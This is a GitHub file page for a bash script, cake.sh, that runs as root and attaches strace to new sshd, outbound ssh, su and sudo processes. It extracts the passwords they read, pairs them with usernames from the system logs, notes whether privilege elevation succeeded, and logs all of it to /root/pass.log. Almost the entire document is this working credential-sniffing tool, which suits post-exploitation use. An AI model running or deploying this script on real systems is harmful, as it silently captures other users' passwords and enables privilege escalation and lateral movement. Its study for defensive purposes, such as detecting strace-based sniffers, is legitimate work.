-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathcake.sh
241 lines (167 loc) · 7.24 KB
/
cake.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#!/bin/bash
# Function to attach to SSH process and extract password attempts
parse_sshd () {
PS_COMM=$( ps -p $1 -o command --no-header )
# Capture the lines containing password attempts by tracing the process
PASSWORD_LINES=$(strace -p $1 2>&1 | grep 'read(6, \"\\f')
# Extract lines containing the SSH username and port information from the auth.log file
USERNAME_LINES=$(journalctl -u ssh.service | grep ssh[d].$pid.*port)
if [[ -z "$USERNAME_LINES" ]]; then
USERNAME_LINES=$(grep "ssh[d].$pid.*port" /var/log/auth.log)
fi
# Initialize a counter for password attempts
COUNT=1
echo Process : "$PS_COMM" | tee -a $LOG_FILE
# Print and log the username lines containing the user or IP information
echo "$USERNAME_LINES" | egrep --color "(user|for).(\w)*" |tee -a $LOG_FILE
if [[ -z $sshloginpids ]]; then
echo "No Password Attempt Found" |tee -a $LOG_FILE
else
# Loop through each line containing a password attempt
while IFS= read -r PLINE; do
# Extract the password from the line and remove non-printable characters
PASSWORD=$(printf "$PLINE" | tr -cd '[:print:]' | cut -f 2 -d \")
# Print and log the password attempt with the corresponding count
echo "Password Attempt $COUNT: \"$PASSWORD\"" | tee -a $LOG_FILE
# Increment the counter
COUNT=$((COUNT+1))
done <<< "$PASSWORD_LINES"
fi
# Print a separator line for better readability in the log file
echo "----------------------------------------------------" |tee -a $LOG_FILE
}
parse_ssh () {
PS_COMM=$( ps -p $1 -o command --no-header )
USER_NAME=$(ps -p $1 -o euser --noheader )
OUTPUT_LINES=$(strace -p $1 2>&1 )
#PASSWORD_LINES=$(echo "$OUTPUT_LINES" | grep read\(5 | sed s#\\\\n##g | cut -f 2 -d \")
PASSWORD_LINES=$(echo "$OUTPUT_LINES" | grep read\(5 | grep "\ 1$" | cut -f 2 -d \" | tr -d '\n')
#PASSWORD_LINES=$(echo "$OUTPUT_LINES" | grep ^read | grep "\ 1$" | cut -f 2 -d \" | tr -d '\n')
# Extract lines containing the SSH username and port information from the auth.log file
# Initialize a counter for password attempts
COUNT=1
echo
echo Process : "$PS_COMM" | tee -a $LOG_FILE
echo "User: $USER_NAME" | tee -a $LOG_FILE
# Loop through each line containing a password attempt
while IFS= read -r PLINE; do
# Extract the password from the line and remove non-printable characters
PASSWORD=$(printf "$PLINE" | tr -cd '[:print:]' | cut -f 2 -d \")
# Print and log the password attempt with the corresponding count
echo "Password Attempt $COUNT: \"$PASSWORD\"" | tee -a $LOG_FILE
# Increment the counter
COUNT=$((COUNT+1))
done < <( printf "$PASSWORD_LINES" )
# Print a separator line for better readability in the log file
echo "----------------------------------------------------" |tee -a $LOG_FILE
}
parse_su () {
PS_COMM=$( ps -p $1 -o command --no-header )
# Capture the lines containing password attempts by tracing the process
OUTPUT_LINES=$(strace -p $1 2>&1 )
USER_UID=$(echo "$OUTPUT_LINES" | grep -i getuid | awk '{print $3}' | sort -u)
USER_NAME=$(id -nu $USER_UID )
PASSWORD=$(echo "$OUTPUT_LINES" | grep read\(0 | sed s#\\\\n##g | cut -f 2 -d \")
FAILED_ELEVATION=$( echo "$OUTPUT_LINES" | grep "Authentication failure" | wc -l )
echo
echo Process : "$PS_COMM" | tee -a $LOG_FILE
echo "User: $USER_NAME" | tee -a $LOG_FILE
# Print and log the password attempt
echo "Password Attempt: \"$PASSWORD\"" | tee -a $LOG_FILE
if [[ "$FAILED_ELEVATION" -gt 0 ]]; then
echo Elevation Failed | tee -a $LOG_FILE
else
echo Successfully Elevated | tee -a $LOG_FILE
fi
# Print a separator line for better readability in the log file
echo "----------------------------------------------------" |tee -a $LOG_FILE
}
parse_sudo () {
PS_COMM=$( ps -p $1 -o command --no-header )
OUTPUT_LINES=$(strace -p $1 2>&1 )
USER_UID=$(echo "$OUTPUT_LINES" | grep -i getuid | awk '{print $3}' | sort -u)
USER_NAME=$(id -nu $USER_UID )
PASSWORD_LINES=$(echo "$OUTPUT_LINES" | grep ^read | grep "\ 1$" | cut -f 2 -d \" | tr -d '\n')
SUCCESSFUL_ELEVATION=$( echo "$OUTPUT_LINES" | grep "setresuid.*\ 0\," | wc -l )
# Initialize a counter for password attempts
COUNT=1
echo
echo Process : $PS_COMM | tee -a $LOG_FILE
echo "User: $USER_NAME" | tee -a $LOG_FILE
while IFS= read -r PASSWORD; do
# Print and log the password attempt with the corresponding count
echo "Password Attempt $COUNT: \"$PASSWORD\"" | tee -a $LOG_FILE
# Increment the counter
COUNT=$((COUNT+1))
done < <( printf "$PASSWORD_LINES" )
if [[ "$SUCCESSFUL_ELEVATION" -gt 0 ]]; then
echo Successfully Elevated | tee -a $LOG_FILE
else
echo Elevation Failed | tee -a $LOG_FILE
fi
# Print a separator line for better readability in the log file
echo "----------------------------------------------------" |tee -a $LOG_FILE
}
# Check if strace is installed
if ! command -v strace >/dev/null 2>&1; then
echo "strace is not installed. Please install it before running this script."
exit 1
fi
# Check if running in an elevated context
if [[ $EUID -ne 0 ]]; then
echo "This script requires elevated privileges. Please run it as root or using sudo."
exit 1
fi
processed_pids=() # Array to track processed PIDs
LOG_FILE="/root/pass.log"
printf "Writing to $LOG_FILE\n\n"
while true; do
unset sshloginpids
unset supids
unset sudopids
recent_process_list=$(ps -eo pid,etimes,comm,command | awk '{if ($2 < 60) { print $0}}')
sshpids=$(echo "$recent_process_list" | awk '{if ($3 == "ssh") { print $1}}')
sshdpids=$(echo "$recent_process_list" | grep ss[h]d.*priv | awk '{print $1}')
supids=$(echo "$recent_process_list" | awk '{if ($3 == "su") { print $1}}')
sudopids=$(echo "$recent_process_list" | awk '{if ($3 == "sudo") { print $1}}')
if [[ ! -z $sshdpids ]]; then
for pid in $sshdpids; do
# Check if PID has been processed before
if [[ " ${processed_pids[*]} " != *" $pid "* ]]; then
echo "Found SSHD Pid: $pid. Attaching..."
processed_pids+=("$pid") # Add PID to processed_pids array
parse_sshd $pid &
fi
done
fi
if [[ ! -z $sshpids ]]; then
for pid in $sshpids; do
# Check if PID has been processed before
if [[ " ${processed_pids[*]} " != *" $pid "* ]]; then
echo "Found Outbound SSH Pid: $pid. Attaching..."
processed_pids+=("$pid") # Add PID to processed_pids array
parse_ssh $pid &
fi
done
fi
if [[ ! -z $supids ]]; then
for pid in $supids; do
# Check if PID has been processed before
if [[ " ${processed_pids[*]} " != *" $pid "* ]]; then
echo "Found Su Pid: $pid. Attaching..."
processed_pids+=("$pid") # Add PID to processed_pids array
parse_su $pid &
fi
done
fi
if [[ ! -z $sudopids ]]; then
for pid in $sudopids; do
# Check if PID has been processed before
if [[ " ${processed_pids[*]} " != *" $pid "* ]]; then
echo "Found Sudo Pid: $pid. Attaching..."
processed_pids+=("$pid") # Add PID to processed_pids array
parse_sudo $pid &
fi
done
fi
done